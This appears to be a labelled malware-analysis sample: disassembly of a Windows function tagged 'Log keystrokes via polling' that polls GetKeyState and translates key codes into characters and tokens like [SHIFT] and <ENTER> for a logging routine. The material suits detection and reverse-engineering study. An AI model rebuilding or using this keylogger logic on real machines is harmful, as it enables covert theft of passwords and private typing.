Function at 0x140001460
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x40
mov ebx, ecx
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
jns 0x140001693
add ebx, 0x46
cmp ebx, 0x7f
ja case.0x140001791.82
lea rdx, [0x140000000]
movsxd rax, ebx
movzx eax, byte [rdx + rax + 0x1920]
mov ecx, dword [rdx + rax*4 + 0x18c0]
add rcx, rdx
jmp rcx
mov eax, dword [str._TAB_]
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov dword [rbp - 0x20], eax
movzx eax, byte [0x140005538]
mov byte [rbp - 0x1c], al
mov qword [rbp - 0x10], 5
mov byte [rbp - 0x1b], 0
jmp 0x14000189f
xorps xmm0, xmm0
mov qword [rbp - 0x10], 8
movups xmmword [rbp - 0x20], xmm0
movabs rax, 0x3e5245544e453c0a
mov byte [rbp - 0x18], 0
mov qword [rbp - 0x20], rax
jmp 0x14000189f
mov eax, dword [str._ESC_]
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov dword [rbp - 0x20], eax
movzx eax, byte [0x140005550]
mov byte [rbp - 0x1c], al
mov qword [rbp - 0x10], 5
mov byte [rbp - 0x1b], 0
jmp 0x14000189f
xorps xmm0, xmm0
mov qword [rbp - 0x10], 8
movups xmmword [rbp - 0x20], xmm0
movabs rax, 0x3e4554454c45443c
mov byte [rbp - 0x18], 0
mov qword [rbp - 0x20], rax
jmp 0x14000189f
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov word [rbp - 0x20], 0x29
jmp 0x140001897
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov word [rbp - 0x20], 0x21
jmp 0x140001897
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov word [rbp - 0x20], 0x40
jmp 0x140001897
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov word [rbp - 0x20], 0x23
jmp 0x140001897
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov word [rbp - 0x20], 0x24
jmp 0x140001897
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov word [rbp - 0x20], 0x25
jmp 0x140001897
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov word [rbp - 0x20], 0x5e
jmp 0x140001897
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov word [rbp - 0x20], 0x26
jmp 0x140001897
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov word [rbp - 0x20], 0x2a
jmp 0x140001897
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov word [rbp - 0x20], 0x28
jmp 0x140001897
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov word [rbp - 0x20], 0x7e
jmp 0x140001897
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov word [rbp - 0x20], 0x5f
jmp 0x140001897
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov word [rbp - 0x20], 0x2b
jmp 0x140001897
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov word [rbp - 0x20], 0x3a
jmp 0x140001897
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov word [rbp - 0x20], 0x22
jmp 0x140001897
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov word [rbp - 0x20], 0x3c
jmp 0x140001897
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov word [rbp - 0x20], 0x3e
jmp 0x140001897
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov word [rbp - 0x20], 0x3f
jmp 0x140001897
lea eax, [rbx - 0x30]
lea rdx, [0x140000000]
cmp eax, 9
ja case.default.0x1400016b2
cdqe
mov ecx, dword [rdx + rax*4 + 0x19a0]
add rcx, rdx
jmp rcx
xorps xmm0, xmm0
mov qword [rbp - 0x10], 1
movups xmmword [rbp - 0x20], xmm0
mov word [rbp - 0x20], 0x30
mov qword [rbp - 8], 0xf
lea rcx, [rbp - 0x20]
call fcn.140001290
xor al, al
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rbp
ret
lea rdx, str.12345678
lea rcx, [rbp - 0x20]
call fcn.140002c60
mov rcx, rax
call fcn.140001290
xor al, al
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rbp
ret
lea rdx, [0x140005558]
jmp 0x1400016ee
lea rdx, [0x14000555c]
jmp 0x1400016ee
lea rdx, [0x140005560]
jmp 0x1400016ee
lea rdx, [0x140005564]
jmp 0x1400016ee
lea rdx, [0x140005568]
jmp 0x1400016ee
lea rdx, [0x14000556c]
jmp 0x1400016ee
lea rdx, [0x140005570]
jmp 0x1400016ee
xorps xmm0, xmm0
mov qword [rbp - 0x10], 1
movups xmmword [rbp - 0x20], xmm0
mov word [rbp - 0x20], 0x39
mov qword [rbp - 8], 0xf
jmp 0x1400016d1
add ebx, 0x60
cmp ebx, 0x8e
ja case.0x140001791.82
movsxd rax, ebx
movzx eax, byte [rdx + rax + 0x1a04]
mov ecx, dword [rdx + rax*4 + 0x19c8]
add rcx, rdx
jmp rcx
movzx eax, word [0x140005548]
movsd xmm0, qword [str._BACKSPACE_]
mov word [rbp - 0x18], ax
movzx eax, byte [0x14000554a]
mov byte [rbp - 0x16], al
mov dword [rbp - 0x14], 0
mov qword [rbp - 0x10], 0xb
movsd qword [rbp - 0x20], xmm0
mov byte [rbp - 0x15], 0
jmp 0x14000189f
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov word [rbp - 0x20], 0x20
jmp 0x140001897
mov rax, qword [str._SHIFT_]
mov dword [rbp - 0x20], eax
movzx eax, word [0x14000557c]
mov word [rbp - 0x1c], ax
movzx eax, byte [0x14000557e]
mov byte [rbp - 0x1a], al
mov qword [rbp - 0x18], 0
mov qword [rbp - 0x10], 7
mov byte [rbp - 0x19], 0
jmp 0x14000189f
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov word [rbp - 0x20], 0x2e
jmp 0x140001897
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov word [rbp - 0x20], 0x2c
jmp 0x140001897
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov word [rbp - 0x20], 0x2d
jmp 0x140001897
mov eax, dword [str._ESC_]
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov dword [rbp - 0x20], eax
movzx eax, byte [0x140005550]
mov byte [rbp - 0x1c], al
mov qword [rbp - 0x10], 5
mov byte [rbp - 0x1b], 0
jmp 0x14000189f
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov word [rbp - 0x20], 0x3d
jmp 0x140001897
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov word [rbp - 0x20], 0x3b
jmp 0x140001897
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov word [rbp - 0x20], 0x27
mov qword [rbp - 0x10], 1
lea rcx, [rbp - 0x20]
mov qword [rbp - 8], 0xf
call fcn.140001290
mov rbx, qword [rsp + 0x50]
mov al, 1
add rsp, 0x40
pop rbp
ret